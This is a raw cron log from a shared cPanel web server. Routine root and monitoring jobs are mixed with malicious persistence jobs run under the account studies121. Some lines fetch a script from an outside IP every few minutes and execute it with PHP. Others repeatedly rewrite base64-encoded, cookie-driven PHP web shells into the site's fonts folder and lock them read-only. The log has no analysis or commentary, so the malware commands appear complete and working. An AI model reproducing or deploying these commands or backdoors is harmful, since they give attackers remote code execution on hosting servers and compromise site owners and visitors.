Sep  2 20:06:01 ip-184-168-122-23 CROND[5777]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:06:01 ip-184-168-122-23 CROND[5778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:06:01 ip-184-168-122-23 CROND[5780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:06:01 ip-184-168-122-23 CROND[5781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:07:01 ip-184-168-122-23 CROND[5873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:07:01 ip-184-168-122-23 CROND[5875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:07:01 ip-184-168-122-23 CROND[5876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:07:01 ip-184-168-122-23 CROND[5877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:08:01 ip-184-168-122-23 CROND[6037]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:08:01 ip-184-168-122-23 CROND[6039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:08:01 ip-184-168-122-23 CROND[6040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:08:01 ip-184-168-122-23 CROND[6042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:08:01 ip-184-168-122-23 CROND[6044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:09:01 ip-184-168-122-23 CROND[6128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:09:01 ip-184-168-122-23 CROND[6130]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 20:09:01 ip-184-168-122-23 CROND[6131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:09:01 ip-184-168-122-23 CROND[6133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:09:01 ip-184-168-122-23 CROND[6132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:10:01 ip-184-168-122-23 CROND[6226]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 20:10:01 ip-184-168-122-23 CROND[6228]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:10:01 ip-184-168-122-23 CROND[6231]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:10:01 ip-184-168-122-23 CROND[6234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:10:01 ip-184-168-122-23 CROND[6235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:10:01 ip-184-168-122-23 CROND[6238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:10:01 ip-184-168-122-23 CROND[6236]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:10:01 ip-184-168-122-23 CROND[6239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:11:01 ip-184-168-122-23 CROND[6328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:11:01 ip-184-168-122-23 CROND[6330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:11:02 ip-184-168-122-23 CROND[6331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:11:02 ip-184-168-122-23 CROND[6333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:12:01 ip-184-168-122-23 CROND[6420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:12:01 ip-184-168-122-23 CROND[6423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:12:01 ip-184-168-122-23 CROND[6424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:12:01 ip-184-168-122-23 CROND[6422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:12:01 ip-184-168-122-23 CROND[6425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:13:01 ip-184-168-122-23 CROND[6592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:13:01 ip-184-168-122-23 CROND[6595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:13:01 ip-184-168-122-23 CROND[6594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:13:01 ip-184-168-122-23 CROND[6596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:14:01 ip-184-168-122-23 CROND[6676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:14:01 ip-184-168-122-23 CROND[6680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:14:01 ip-184-168-122-23 CROND[6678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:14:01 ip-184-168-122-23 CROND[6679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:14:01 ip-184-168-122-23 CROND[6681]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:15:01 ip-184-168-122-23 CROND[6771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:15:01 ip-184-168-122-23 CROND[6773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:15:01 ip-184-168-122-23 CROND[6775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:15:01 ip-184-168-122-23 CROND[6776]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 20:15:01 ip-184-168-122-23 CROND[6778]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:15:01 ip-184-168-122-23 CROND[6777]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:15:01 ip-184-168-122-23 CROND[6774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:16:01 ip-184-168-122-23 CROND[6868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:16:01 ip-184-168-122-23 CROND[6870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:16:01 ip-184-168-122-23 CROND[6871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:16:01 ip-184-168-122-23 CROND[6872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:16:01 ip-184-168-122-23 CROND[6875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:16:01 ip-184-168-122-23 CROND[6876]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 20:17:02 ip-184-168-122-23 CROND[6956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:17:02 ip-184-168-122-23 CROND[6958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:17:02 ip-184-168-122-23 CROND[6959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:17:02 ip-184-168-122-23 CROND[6957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:18:01 ip-184-168-122-23 CROND[7038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:18:01 ip-184-168-122-23 CROND[7040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
